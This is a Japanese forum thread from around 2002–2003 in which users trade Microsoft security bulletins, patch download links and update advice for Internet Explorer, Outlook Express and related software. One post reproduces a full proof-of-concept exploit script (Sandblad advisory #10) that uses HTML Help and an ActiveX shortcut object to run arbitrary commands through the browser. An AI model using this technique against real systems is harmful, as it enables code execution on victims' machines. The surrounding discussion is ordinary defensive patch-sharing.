>>244関連
http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/bulletin/fq02-065.asp

IEを削除。心穏やかに暮らせます。

過去アップデートのデジタル証明書がそのまま上書き利用されるってわけね。
これは盲点だったなMS。見つけたときにはｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙだっただろう。
対策機能としてKillBitとかいってるけど、これも名前からして
なんか容易くフラグをいじられてしまいそうな感もある(w

Operaってセキュリティホールないの？

>>248 以前のOpera6.01や6.02にはあったよ。
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20020528/1/
現在の6.05ではまだ発見されて無いみたい。

Microsoft Data Access Components のバッファ オーバーランにより、
コードが実行される (Q329414) (MS02-065) 【最大深刻度 : 緊急】
http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/bulletin/ms02-065.asp

●修正パッチを当てるよりもMDACを2.7にすることを推奨。理由：>>244

http://support.microsoft.com/default.aspx?scid=kb;ja;JP301202
でMDACのバージョンを確認して2.7以外ならMDAC2.7をインストール。
http://support.microsoft.com/default.aspx?scid=http://www.microsoft.com/japan/developer/data/download.asp

参考：http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/bulletin/fq02-065.asp

>>244>>250関連　詳細な適用条件が紹介されている。
http://www.st.ryukoku.ac.jp/security/vuln.htmlの2002.11.26の項

http://archives.neohapsis.com/archives/bugtraq/2002-11/0041.html
http://sec.greymagic.com/adv/gm012-ie/
http://archives.neohapsis.com/archives/bugtraq/2002-11/0047.html
http://archives.neohapsis.com/archives/bugtraq/2002-11/0114.html
http://archives.neohapsis.com/archives/bugtraq/2002-11/0126.html

<script>
// "How to execute programs with parameters in IE", 2002-11-06
// Sandblad advisory #10, Andreas Sandblad, [email protected]
prog = 'cmd';
args = '/k echo You are vulnerable (Sandblad #10) & '+
'echo Sandblad #10 > c:/vulnerable.txt & winmine';


if (!location.hash) {
showHelp(location+"#1");
showHelp("iexplore.chm");
blur();
}
else if (location.hash == "#1")
open(location+"2").blur();
else {
f = opener.location.assign;
opener.location="res:";
f("javascript:location.replace('mk:@MSITStore:C:')");
setTimeout('run()',1000);
}
function run() {
f("javascript:document.write('<object id=c1 classid=clsid:adb"+
"880a6-d8ff-11cf-9377-00aa003b7a11><param name=Command value"+
"=ShortCut><param name=Item1 value=\","+prog+","+args+"\"></"+
"object><object id=c2 classid=clsid:adb880a6-d8ff-11cf-9377"+
"-00aa003b7a11><param name=Command value=Close></object>')");
f("javascript:c1.Click();c2.Click();");
close();
}
</script>

>>253
HHは秋田、RDSの貼れよ。

(　・＿・)y─~~~　pcにメールを入れない　hotmailかyahooを使う

が、hotmailはメルアドしれたら見られる可能性大...

urlにメアド入れて...(　・×・)y─~~~

IE累積パッチをめぐる議論で思うこと
http://www.zdnet.co.jp/news/0211/28/cead_vamosi.html
>先週発行されたIE用の累積パッチをめぐって取りざたされている問題がある。
>シロクロはさておき、この問題は情報の公開・非公開について考える良いきっかけだ

＞＞２５５
おい、ホトメはセキュリティ対策とってないんか？

漏れら極悪非道のageブラザーズ！
今日もネタもないのにageてやるからな！
￣￣∨￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
　 ∧＿∧ 　 ∧＿∧ 　　　age
　（・∀・∩）（∩・∀・）　　　　age
　（つ　　丿 （ 　　⊂）　age
　 （　ヽノ　　 ヽ/　　）　　　age
　 し（＿）　　 （＿）Ｊ

>> http://itpro.nikkeibp.co.jp/members/ITPro/SEC_CHECK/20021203/1/
> 今度は“完全な対策”にとんでもない副作用――「Windowsの深刻なホール」続編
> MDAC 2.7へのアップグレードで過去のホールが再発する

「MS02-068: Internet Explorer 用の累積的な修正プログラム (324929) 」
http://www.microsoft.com/japan/technet/security/bulletin/ms02-068ov.asp
概要
この修正プログラムは、Internet Explorer に影響を及ぼすセキュリティ上の
問題を排除する累積的な修正プログラムです。
以前に公開された MS02-066 : Internet Explorer 用の累積的な修正プログラム
(Q328970) で修正された問題に加えて、新たに 1つの問題を排除します。
対象となる製品
・ Microsoft Internet Explorer 5.5 Service Pack 2
・ Microsoft Internet Explorer 6
・ Microsoft Internet Explorer 6 Service Pack 1
Microsoft Internet Explorer 5.01 は、この問題の影響を受けません。

>>259 なんだかワケわからん状態になってきてるよね(w
もう少し整理して欲しいね。
ttp://www.st.ryukoku.ac.jp/security/vuln.html#20021126のほうが整理されてる。

>>260　Windows Updateでなかなか落ちてこないことがあるようなので、
【修正プログラム】
・ Internet Explorer 6 Service Pack 1
http://download.microsoft.com/download/ie6sp1/32secpac/6_sp1/W98NT42KMeXP/JA/q324929.exe
・ Internet Explorer 6
http://download.microsoft.com/download/IE60/32secpac/6/W98NT42KMeXP/JA/q324929.exe
・ Internet Explorer 5.5 Service Pack 2
http://download.microsoft.com/download/ie55sp2/32secpac/5.5_sp2/W98NT42KMe/JA/q324929.exe
注意: 64bit 版の Windows XP は、以下の Internet Explorer 6 Service Pack 1　(64bit) の適用をすること。
・Internet Explorer 6 Service Pack 1 (64bit)
http://download.microsoft.com/download/ie6sp1/32secpac/6_sp1/W64XP/JA/q324929.exe

修正プログラムのダウンロード方法およびインストール方法については、こちら
http://www.microsoft.com/japan/security/square/guard/a04g16.asp

MS02-067,MS02-068解説
『IEとOutlook 2002にセキュリティ・ホール，深刻度はいずれも「警告」』
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20021205/1/

>>261

こういう先祖帰りしたライブラリを見付けてくれるソフトってあるかな。

>>259
リンクに入れないよー。何度やってもクッキーＯＫにしても跳ね返される。

>>265
もちろん会員登録はしてるんだろうな

>>266
入れました。最近いかないのでクッキー常拒否＆制限サイト設定してました。
制限サイト設定がだめだったみたい。このサイト異常に大量のクッキーほしがる
からなんかやなんだよねえ。スレ汚しスマソ。

>>259
あちら隠せばこちら隠せず、みたいな。Ｍ＄勘弁してください…。
最近ＨＤＤに増えているのはパッチばかり

ひとつひきだしを閉めると
違うひきだしが飛び出る

・・・えんえんと続く

「誰か来てー！こっち押さえてるから そっち閉めてー！！」

Internet Explorer 用の累積的な修正プログラム (324929) (MS02-068)
深刻度を｢警告｣から「緊急」に変更
http://www.microsoft.com/japan/technet/security/bulletin/ms02-068.asp

緊急 (Critical):
この脆弱性が悪用された場合、Code Red や Nimda のようなインターネット
ワームがユーザーの操作なしで蔓延する可能性があります。
重要 (Important):
この脆弱性が悪用された場合、ユーザーのデータの機密性、完全性または
アベイラビリティが侵害される可能性があります。または、処理中のリソースの
完全性またはアベイラビリティが侵害される可能性があります。
警告 (Moderate):
この脆弱性が悪用された場合、既定の構成、監査または悪用が困難であること
などの要素により、悪用される可能性は大幅に緩和されます。
注意 (Low):
この脆弱性の悪用は非常に困難です。または影響はわずかです。

>>270
> http://www.microsoft.com/japan/technet/security/bulletin/ms02-068.asp

Internet Explorer 5.01 なし
Internet Explorer 5.5 緊急
Internet Explorer 6.0 緊急

どういうプログラミングしてんだよ。

これ、前に当てたのを手直ししたからもういっぺん当てなおせってことなのか？

324929を落としてみてもう一度当ててみたが、再起動要求がなかった。
ってことはすでに当たってたってことか。よくわからんな。

>>272-273
注意、修正プログラムが正しくインストールされたかどうか確認する方法 、
更新履歴を嫁。

>>272-273 MS02-068 Q324929は深刻度の変更のみ。修正プログラムには変更なし。
すでにパッチ適用済みの人は不要。
http://www.microsoft.com/japan/technet/security/bulletin/ms02-068.asp

>>274-275
了解しますた。アリが屯。

age

Microsoft VM JDBC クラスの問題により、コードが実行される (Q329077) (MS02-052) は、Windows Update以外に、ダウンロードできないのでしょうか？

レジストで、TSHOOT.TSHOOTCtrl.1　を検索してみて。
TSHOOT.TSHOOTCtrl.1　が　ActiveX/COM
{4B106874-DD36-11D0-8B44-00A024DD9EFF}を参照しているのが
おかしいらしいが、、、（ウインドクター）。
もし、あったら、、、、ブルブル、、？

>>278 調べればすぐにわかることを･･･
http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/current.asp
＞このセキュリティ修正プログラムは特殊なものであり、Windows Update
＞からのみ入手可能となっております。

リンクはこっちだな。
http://www.microsoft.com/japan/technet/security/bulletin/MS02-052.asp?frame=true

>>260>>270 q324929 MS02-068深刻度変更の解説

IEのセキュリティ・ホール，深刻度を最悪の「緊急」に変更
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20021209/1/

age

>> 「ウイルスバスター」にバッファ・オーバーフロー
>> http://itpro.nikkeibp.co.jp/members/ITPro/SEC_CHECK/20021210/1/
> 製品が備えるメール検索機能で使用するポートに，直接接続されて大量の文字列を送信されると，バッファ・オーバーフローが発生

「Windowsの深刻なホール」対策で発生するトラブルを解決する
　トラブル相次ぐMDAC 2.7へのアップグレード，「警告」への対処がOSによって異なる
http://itpro.nikkeibp.co.jp/members/ITPro/SEC_CHECK/20021210/1/
＞ようやく正確な情報が出揃った「Windowsの深刻なホール」であるが，トラブル
＞はまだ続いている。“完全な対策”であるはずの MDAC 2.7 へのアップグレー
＞ドがきちんと 実施できないケースが頻発しているようだ。アップグレード時に
＞警告が出た場合の適切な対処方法が，Windows 95/95SE/NT 4.0 と Windows
＞2000などでは異なることが原因だ。アップグレードできずに頭を抱えているユー
＞ザーは，今回のコラムを一読してほしい。併せて今回のコラムでは，深刻度が
＞「緊急」に急きょ変更されたInternet Explorer（IE）のセキュリティ・ホー
＞ルなどについても解説する。

>>264関係 Microsoft Baseline Security Analyzer v1.1
http://pcweb.mycom.co.jp/news/2002/12/09/10.html
使ってみた人いる？

＞IE5.01以降がインストールされたWindows 2000およびWindows XP上で動作し、
＞次に挙げるシステムやソフトウェアをチェックできる。
＞・Windows NT4.0(SP4以降)/2000/XP
＞・Internet Information Server 4.0/5.0
＞・SQL Server 7.0/2000
＞・Internet Explorer 5.01以降
＞・Office 2000/XP

マイクロソフト，Netscapeでセキュリティ情報を閲覧できない問題に対応
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20021211/1/

810030 Microsoft VMセキュリティ問題の修正プログラム　5.1MB
っていうのがWindows Updateで来てるね。現時点では詳細不明。

必要システム
Windows XP、Windows Millennium Edition、Windows NT(R) 4.0
Windows 98 Second Edition、Windows 98、Windows 95

>>288 英語情報発見。最大深刻度：緊急
http://www.microsoft.com/technet/security/bulletin/MS02-069.asp

緊急と言われてもまったく落ちてこない、、、
直リンキボン

>>290 漏れも落ちてこない。
人柱になりたいのでなければ日本語情報が出てしばらくした頃にUpdate
すれば医院で内科医。

しばらく待ったら落ちてきました。

http://www.agemasukudasai.com/bloom/

ルータでポート135番塞いでたら、インストールに失敗した(恥
それにしてもWindowsUpdate重いぞ。

>>290
痺れを切らして（5分待ち）途中でキャンセルしたらIE固まった。
正確には固まったというよりも、キャンセル処理が長い感じ。
これほんとに7分（ADSL8M実際は1.5Mくらい）で落ちるのか？？

こっち↓にはまだ出ないね。VMの話だからIEの欄にもでるはずだよね？
http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/fix/ie6sp1.asp

「MS02-069: Microsoft VM の問題により、システムが侵害される(810030)」
http://www.microsoft.com/japan/technet/security/bulletin/ms02-069ov.asp
「MS02-070: SMB 署名の問題により、グループ ポリシーが変更される (309376)」
http://www.microsoft.com/japan/technet/security/bulletin/ms02-070ov.asp
「MS02-071: Windows WM_TIMER メッセージ処理の問題により、権限がし昇格する(328310)」
http://www.microsoft.com/japan/technet/security/bulletin/ms02-071ov.asp

×し昇格
○昇格

MS02-069解説
Microsoft VMに「緊急」のセキュリティ・ホ ール，Windowsユーザーはすぐに対策を
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20021212/1/

「MS02-070: SMB 署名の問題により、グループ ポリシーが変更される (309376)」

(329170) の誤りだ＞Ｍ＄　まぁた間違えてやんの（ｗ

http://www.pivx.com/larholm/unpatched/ ここには載ってない様だから新た
な奴らか。

マイクロソフトは12月12日，Windows OSやInternet Explorer（IE）などに含まれるJava仮想マシン「Microsoft VM」に8種類のセキュリティ・ホールがあることを明らかにした。

1. COMオブジェクトにアクセスされるセキュリティ・ホール
2. Codebase を偽装される2種類のセキュリティ・ホール
3. ダウンロードするサイトを偽装されるセキュリティ・ホール
4. JDBC API に関するセキュリティ・ホール
5. セキュリティ・マネージャの設定を無視できるセキュリティ・ホール
6. User.dirに関するセキュリティ・ホール
7. Java オブジェクトのインスタンスを作成されるセキュリティ・ホール

windows update のほうではまだＤＬできんみたいだな。

やっとＤＬできた。疲れる。

>>297の
http://www.microsoft.com/japan/technet/security/bulletin/ms02-071.aspもきついな。
共有マシンのAdminの意味無いな。

Adminisutrator のユーザー名をそのままにしている香具師、
多いんだろう。
ユーザー名の変更ができるんだから、名前を NIMDA にしてもよい。

×　Adminisutrator
○　Administrator

MS02-066 更新、最大深刻度 : 緊急に変更
http://www.microsoft.com/japan/technet/security/bulletin/ms02-066.asp
但しMS02-068 に既に含まれている。MS02-068の累積的パッチの適用を推奨。
http://www.microsoft.com/japan/technet/security/bulletin/ms02-068.asp

http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20021217/1/
Flash Playerにバッファ・オーバーフローのセキュリティ・ホール
対策は，最新バージョン6.0.65.0にバージョンアップすること。
影響を受けるのは，バージョン6.0.65.0未満

itiou sure tigai jya naino?>>308

IPAが年末警報。特にIE/OEユーザ向けの記述になっている。
初心者に読ませるのにいいかも。

年 末 警 報−添付ファイルにご用心− −メールを選択しただけでも感染！！−
http://www.ipa.go.jp/security/topics/alert141218.html

>>310
そこ、ええですねん。

>ファイルを添付する場合は、必ず本文で一言触れる。
あまり守られていないマナーですが、これって重要だったりしますねん。

http://www.eeye.com/html/Research/Advisories/AD20021216.html
Macromedia Shockwave Flash Malformed Header Overflow #2
A corrupt file may be placed on a website or in some cases within an HTML email.

スレ違いｽﾏｿ。
「MS02-072: Windows Shell の未チェックのバッファによりシステムが侵害される (329390)」
http://www.microsoft.com/japan/technet/security/bulletin/ms02-072ov.asp
対象となる製品
・Windows XP Home Edition
・Windows XP Professional
・Windows XP Tablet PC Edition
・Windows XP Media Center Edition
最大深刻度：(緊急)
修正プログラム
・Windows XP 32-bit
http://download.microsoft.com/download/f/2/e/f2e56679-17b3-4ec7-b535-2eee3b1212d4/Q329390_WXP_SP2_x86_JPN.exe
・Windows XP 64-bit
http://download.microsoft.com/download/6/6/9/6697eeaa-8409-42a6-b9a7-ed05b98c341a/Q329390_WXP_SP2_ia64_JPN.exe

http://www.agemasukudasai.com/bloom/

>>313 Windows XPに「緊急」のセキュリティ・ホール，任意のプログラムを実行させられる
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20021219/1/

まさかhome版で64ビット用パッチ入れようとした人、居ないっすよね。
ちょっと初心者板で気になったんで。。。。。

>>316
少なくともこの板ではそんな人はいない！　と信じたい･･･
あと10スレ後に質問来るかもしれんけど･･･

Windows Updateに上がってるから、普通はWindows Updateをすると思いたい…。

>>318
漏れもそう思う。

つか間違って64ビット用入れようとしたら警告とか出ないのかな。
そこまでMSも親切じゃねぇか・・・

>>318

"IEおすすめ設定" にすると使えなくなるんだよね。

2002年末に相次いだ「緊急」のセキュリティ・ホール，改めて確認を
　深刻な Windows Shell のホール，「スパイ・データ」の出現に要警戒
http://itpro.nikkeibp.co.jp/members/ITPro/SEC_CHECK/20030107/1/

古いネタだけど、もし64bit版放りこんで壊れたら700円請求できるんだよね？

>>322 なんで700円？

（＾＾）

IEのXSSバグで任意サイトのCookieが漏洩
http://slashdot.jp/article.pl?sid=03/01/18/1226227
>jbeef曰く、"現時点でIEはcookieを盗まれ得るブラウザである。cookieを盗ま
>れると致命傷となるサイトの利用には注意が必要だ。12月に2つのcookie が
>漏洩する脆弱性が報告されたが、まだパッチが出ていない。(略)

IEのCookieをオフにしても有効なCookieモドキ
http://slashdot.jp/article.pl?sid=03/01/19/2134203

OEではなくOutlookだが、

「MS03-003: Outlook 2002 が Version 1 の Exchange Server Security
証明書を処理する方法に存在する問題により、情報が漏えいする (812262)」
http://www.microsoft.com/japan/technet/security/bulletin/ms03-003ov.asp
最大深刻度：警告

Microsoft，Windows Server 2003用にIE新版を用意
http://itpro.nikkeibp.co.jp/free/NT/NEWS/20030127/4/

Windows用ブラウザ「Opera 7」の製品版，ノルウェーのオペラがリリース
http://itpro.nikkeibp.co.jp/free/ITPro/USNEWS/20030130/6/
http://www.opera.com/

軽快ブラウザ「Opera」Vol.19
http://pc2.2ch.net/test/read.cgi/win/1043220804/l50

MS03-004 Cumulative Patch for Internet Explorer (810847)
・Who should read this bulletin: Customers using Microsoft® Internet Explorer.
・Impact of vulnerability: Allow an attacker to execute commands on a user’s system.
・Maximum Severity Rating: Critical
・Recommendation: Customers should install the patch immediately.
・Affected Software:
　Microsoft Internet Explorer 5.01
　Microsoft Internet Explorer 5.5
　Microsoft Internet Explorer 6.0
・End User Bulletin: An end user version of this bulletin is available at:
http://www.microsoft.com/security/security_bulletins/ms03-004.asp

>>330 Windows Updateで更新可

IEにまたもや「緊急」のセキュリティ・ホール，すぐにWindows Updateの利用を
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20030206/1/

マイクロソフトは2月6日，Internet Explorer（IE）の新たなセキュリティ・ホールとその
パッチを公開した。セキュリティ・ホールを悪用されると，WebページやHTMLメールを 閲覧しただけで，ウイルスなどの悪意があるプログラムを送り込まれて実行させられ
る恐れがある。対策は「Windows Update」などを利用してパッチを適用すること。最大
深刻度は「緊急（Critical）」なので，Windowsユーザーは早急にパッチを適用する必要
がある。

修正プログラム
・ Internet Explorer 6 Service Pack 1 (WU)
http://download.microsoft.com/download/e/6/e/e6ee3524-714d-4b1f-81c1-5ac1682e9048/q810847.exe
・ Internet Explorer 6 (WU)
http://download.microsoft.com/download/d/5/b/d5b9d2d5-401a-46f9-b8d2-aad6e62f7216/q810847.exe
・ Internet Explorer 5.5 Service Pack 2 (WU)
http://download.microsoft.com/download/2/7/e/27e15564-6035-47de-a42c-c72f35d0492a/q810847.exe
・ Internet Explorer 5.01 Service Pack 3 for Windows 2000 (WU)
http://download.microsoft.com/download/1/0/b/10b3e8d5-a6f6-4b32-b0af-318d73693e77/q810847.exe
注意: 64bit 版の Windows XP をお使いのお客様は、
以下の Internet Explorer 6 Service Pack 1 (64bit) の適用を
お願いします。
・ Internet Explorer 6 Service Pack 1 (64bit) (WU)
http://download.microsoft.com/download/4/3/1/431f40eb-c7ea-4616-ab48-1f9fbba92409/q810847.exe
(WU) の付いている修正プログラムは Windows Update から
インストールすることもできます。
対象となる製品
・ Internet Explorer 6 Service Pack 1
・ Internet Explorer 6 for Windows XP
・ Internet Explorer 5.5 Service Pack 2
・ Internet Explorer 5.01 Service Pack 3 for Windows 2000
注意:
Internet Explorer 6 の修正プログラムは、
Windows XP 環境にのみ適用可能です。
Internet Explorer 5.01 Service Pack 3 の修正プログラムは、
Windows 2000 環境にのみ適用可能です。
http://www.microsoft.com/japan/technet/security/bulletin/ms03-004ov.asp

クロスドメインとクロスサイトって同じ意味？

http://www.microsoft.com/japan/technet/security/bulletin/ms03-004.asp
今回の更新内容
2003 年 1 月 20 日に Windows Update に誤って公開された
Windows NT 4.0 の修正プログラム候補についての 「お詫び」 を追記しました。
大変ご迷惑をお掛けしましたことを深くお詫び申し上げます。

Windows NT 4.0 の環境において、この修正プログラム候補をインストールされ
たお客様は、お手数ですが、2003 年 2 月 6 日に公開した本セキュリティ情報
より、 Internet Explorer 用の修正プログラムをダウンロードし、再適用を
お願いいたします。

お詫び : Windows NT 4.0 の環境において、2003 年 1 月 20 日に
修正プログラム候補が Windows Update に誤って公開されました。お客様には
大変ご迷惑をお掛けしましたことを深くお詫び申し上げます。この
修正プログラムをインストールされたお客様は、お手数ですが、2003 年 2 月
6 日に公開した本セキュリティ情報より、 Internet Explorer 用の
修正プログラムをダウンロードし、再適用をお願いいたします。なお、以前の
修正プログラムをインストールされた環境では、Windows Update に
本修正プログラムが表示されません。現在、正しく検出できるよう
Windows Update を改良しております。

とあるメーカーからのメルマガを受信したんだけど、
受信トレイにあるそのメールを選択するとOEが固まり落ちます。
削除トレイに移動できなくてちょっと困ってます。。

ウィルスはチェックしたんだけど感染してないようす。
新手の嫌がらせか？

OEがだめなら、どのメールソフトがいいの？
なるべくOEと同じように使えるのがいいんだけど。

フリーでhotmailが使えるのがいい
それさえ出来れば今すぐOEから変えるけど

>>338 最新パッチあててればOE最強。

>>339
本当？
最新パッチを当然あててるけど、OEは信用していない
普段はPDAでnPOP（メーラー）使ってヘッダ見て（場合によってはサーバーから削除して）からOEで受信しているけど

バスターを入れているのに神経質過ぎるか

バスター入れて常駐保護してんなら
洗面所で
「汚れが落ちない、落ちないの･･･どうして、どうして汚れがおちないのぉーーーーーっ」
って絶叫しながら延々3時間ぐらい手を洗ってるようなもん

www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/bulletin/MS03-004ov.asp
>Internet Explorer 6 の修正プログラムは、Windows XP 環境にのみ適用可能です。

これってwin98&ie6.0にあてるパッチはなし？

>>342
IE6sp1,IE5.5

「Internet Explorer 6 Service Pack 1」でいいの？

>>344 Yes.

Internet Explorer 用の累積的な修正プログラム (810847) (MS03-004)
http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/bulletin/ms03-004.asp

対象プラットフォーム（以下の組み合わせのみ）
Windows 95:IE5.5SP2
Windows 98:IE5.5SP2,IE6.0SP1
Windows ME:IE5.5SP2,IE6.0SP1
Windows NT 4.0 SP6a:IE5.5SP2,IE6.0SP1
Windows 2000 SP3:IE5.01SP3,IE5.5SP2,IE6.0SP1
Windows XPSP1:IE6.0,IE6.0SP1

IEの各バージョンDL先
http://www.microsoft.com/windows/ie_intl/ja/download/default.asp

　　 　 ∧＿∧∩　／￣￣￣￣￣￣￣￣￣￣￣
　　　 （　´∀｀）/＜先生！流行ってます。http://homepage3.nifty.com/digikei/ten.html
　＿ / /　　 /　　　＼＿＿＿＿＿＿＿＿＿＿＿
＼⊂ノ￣￣￣￣＼
　||＼　　　　　　　　＼
　||＼||￣￣￣￣￣||
　||　 ||￣￣￣￣￣||

>>347
踏まないよん

Internet Explorer 用の累積的な修正プログラム (810847) (MS03-004)
http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/bulletin/ms03-004.asp

【対策後の確認】
・バージョン画面の「更新バージョン」の行に次項のバージョンと
《MS03-004》を適用して「Q810847」が表示されていればOK.

・インターネットエクスプローラのバージョン確認は、「ヘルプ」「バージョン情報」の「バージョン」で確認。
　5.00.3502.1000 Internet Explorer 5.01 Service Pack 3 (Windows 2000 SP3用のみ)
　5.50.4807.2300 Internet Explorer 5.5 Service Pack 2
　6.0.2600.0000 Internet Explorer 6 (Windows XPのみ但XP SP1を除く)
　6.0.2800.1106 Internet Explorer 6 Service Pack 1（Windows 98,ME,NT4.0 SP6a,2000 SP3,XP SP1のみ）

※IEが上記バージョンでない場合は以下で最新IEをダウンロードの上《MS03-004》を適用する(対応OSに注意)。
http://www.microsoft.com/windows/ie_intl/ja/download/default.asp

>>349
ありがとん

Internet Explorer 6 Service Pack 1
Internet Explorer 6

駄目だった、XPじゃねーだろヴォケって言われる
先にsp1入れろってこと？

>>351先にIE6SP1入れろ
>>346>>349

無理して IE OE を使わなくても良いと思うんだけど。

おすすめメーラ。
[EdMax Free] ttp://www.edcom.jp/

日本語版Operaの最新バージョン「Opera 6.05」に深刻なセキュリティ・ホール
任意のプログラムを実行される，対策は設定ファイルの編集
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20030210/2/
Opera6.05 for Windowsにオーバーフローによる脆弱性の可能性
http://jp.opera.com/cgi-bin/supsearch2.cgi?options=index&name=j010

>>353
EdMaxは生のメッセージを保存しないから糞。

今回の更新内容
このセキュリティ情報ページを更新し、いくつかのシナリオで、
この修正プログラムにより発生する、セキュリティに関連しない問題を
解決する修正プログラムが入手可能になったことをお知らせしました。
http://www.microsoft.com/japan/technet/security/bulletin/ms03-004.asp
このセキュリティ情報のリリース後に、この修正プログラムにセキュリティには
関連しない問題が確認されました。その問題とは特定の状況で、ユーザー、主に
コンシューマに影響を及ぼす可能性があります。具体的には、この問題により、
購読ベースの Web サイトや MSN 電子メールなど、特定のインターネット Web
サイトに認証できなくなる可能性があります。この問題は解決され、この問題を
修正する修正プログラムは 813951 で提供されています。この修正
プログラムは特定のセキュリティに関連しない問題を修正するものであり、この
セキュリティ情報で説明されている修正プログラムは、後半で説明されている
脆弱性を排除するにあたり、有効でした。また、現在でも有効です。今回
お知らせしている修正プログラムの入手方法に関する詳細など、さらに詳しい情報は
http://www.microsoft.com/windows/ie/downloads/critical/813951/default.asp
(英語情報。ダウンロードに関しては [Japanese] を選択して下さい。) および
「よく寄せられる質問」 をご覧下さい。

>>346に間違いがあるので訂正しておきます。
Internet Explorer 用の累積的な修正プログラム (810847) (MS03-004)
http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/bulletin/ ms03-004.asp

対象プラットフォーム（以下の組み合わせのみ）
Windows 98SE :IE5.5SP2,IE6.0SP1
Windows ME :IE5.5SP2,IE6.0SP1
Windows NT 4.0 SP6a :IE5.5SP2,IE6.0SP1
Windows 2000 SP3 :IE5.01SP3,IE5.5SP2,IE6.0SP1
Windows XP :IE6.0
Windows XP SP1 :IE6.0SP1

IEの各バージョンDL先
http://www.microsoft.com/windows/ie_intl/ja/download/default.asp

Internet Explorer 用の累積的な修正プログラム (810847) (MS03-004)
http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/bulletin/ms03-004.asp

【対策後の確認】
・バージョン画面の「更新バージョン」の行に次項のバージョンと
《MS03-004》を適用して「Q810847」が表示されていればOK.

・インターネットエクスプローラのバージョン確認は、「ヘルプ」「バージョン情報」の「バージョン」で確認。
　5.00.3502.1000 Internet Explorer 5.01 Service Pack 3 (Windows 2000 SP3用のみ)
　5.50.4807.2300 Internet Explorer 5.5 Service Pack 2 (Windows 98SE,ME,NT 4.0 SP6a,2000 SP3)
　6.0.2600.0000 Internet Explorer 6 (Windows XPのみ、XP SP1を適用していないものに限る)
　6.0.2800.1106 Internet Explorer 6 Service Pack 1（Windows 98SE,ME,NT4.0 SP6a,2000 SP3,XP SP1のみ）

※IEが上記バージョンでない場合は以下で最新IEをダウンロードの上《MS03-004》を適用する(対応OSに注意)。
http://www.microsoft.com/windows/ie_intl/ja/download/default.asp

>>356のを当てたらバージョン情報にQ813951がついた。

昨日システムの復元(約10日前の状態に)をして、その後OE6を開いたら9/1〜復元直前のメールデータが消えてしまいました。
もしかしたら復元操作とは関係無いかもしれませんが、このようにある一定の期間のメールデータが消えてしまった方はいませんか？
McAfeeのウイルススキャンの関係かとも思いましたが、メールのスキャン設定はしてませんでした。
なにかご存知の方アドバイスお願いします。

>>360
板違い。Windows板。

>>361
http://pc2.2ch.net/test/read.cgi/win/1043386737/80-81

ﾜﾗﾀ

>>361
ﾜﾛﾀ
すこし同情する。

>>360
そういう時はバックアップとって再現テストしてくれたまえ。

MS03-004 810487 適用後に OE6 が落ちる、という問題が指摘されている。

Windows板　Outlook Express質問スレッド 2
http://pc2.2ch.net/test/read.cgi/win/1043386737/l50

WinFAQ
ttp://winfaq.jp/cgi-bin/bbs2k/wforum.cgi?mode=allread&no=211295&page=0
ttp://www.ah.wakwak.com/~winfaq/cgi-bin/wforum.cgi?mode=allread&no=236558&page=0

>>361
Win板から勧められてきました。
なんだ、たらいまわしか。

>>366
ここはセキュリティパッチ関連の報告スレみたいなもんだから
再現性があるかどうか確認してMSに文句いってくれ

>>366
おまい勘違いしている。
http://pc2.2ch.net/test/read.cgi/win/1043386737/81は
おまいに対するレスではないぞ。
あっちでは誰もレスせずに放置されてる。

MS03-004 810487 問題で、MSN hotmail にログインできるように変更したようだ。
再修正パッチしないでも、うまく入れたＺＯ。

>>369
MSN hotmail側で対応したってこと？

Netscapeはもう過去のもの？――開発中止のうわさ
http://itpro.nikkeibp.co.jp/free/NT/NEWS/20030217/4/

トランスウエア，Opera 7 for Windowsの日本語パッケージを発売
http://itpro.nikkeibp.co.jp/free/NBY/NEWS/20030217/1/

>>365
MS03-004 適用後 Outlook Express が正しく動作しない
http://support.microsoft.com/default.aspx?scid=kb;ja;814803

現実味を帯びてくる「IE 7.0は出ない」という説
http://itpro.nikkeibp.co.jp/free/NT/NEWS/20030217/2/

まさかとは思うが
メッセンジャーにでも統合されるのか？

「パッチ適用のコツ教えます」――MSのセキュリティ担当マネージャが語る
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20030220/2/

>>375
なんつーか、誰かまともなOSの作り方を教えてあげて･･･(;´Д｀)

[OE] 長い行のメールを送ると Outlook Express がハングする
http://support.microsoft.com/default.aspx?scid=kb;ja;812110

IE／Netscape／Operaユーザーは必見，Webブラウザのセキュリティ総点検
http://itpro.nikkeibp.co.jp/members/ITPro/SEC_CHECK/20030225/1/

スレ違いｽﾏｿ
「MS03-006: Windows Me の 「ヘルプとサポート」 の問題によりコードが実行される (812709)」
http://www.microsoft.com/japan/technet/security/bulletin/ms03-006ov.asp
(緊急) URL ハンドラ (hcp://) に未チェックのバッファがあるため、
バッファのオーバーラン攻撃に悪用される可能性があります。

トランスウエアが「Opera 7.02 for Windows 日本語版」を公開
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20030227/2/

HotmailとOutlook Expressの組み合わせでウィルス感染する人が多いのでまとめておく。

Hotmailはウィルスチェックをしているとはいうものの、
それはブラウザでHotmailにアクセスした場合に添付ファイルを開く際にチェックするというもので、
メールボックスに入る前に添付ファイルをスキャンするプロバイダのウィルスチェックサービスとは異なる。

さらにOutlook ExpressでHotmailを受信する設定にしているとこのHotmailのウィルスチェック機能は働かず
そのままOutlook Expressのフォルダにウィルスが入ってきてしまう。

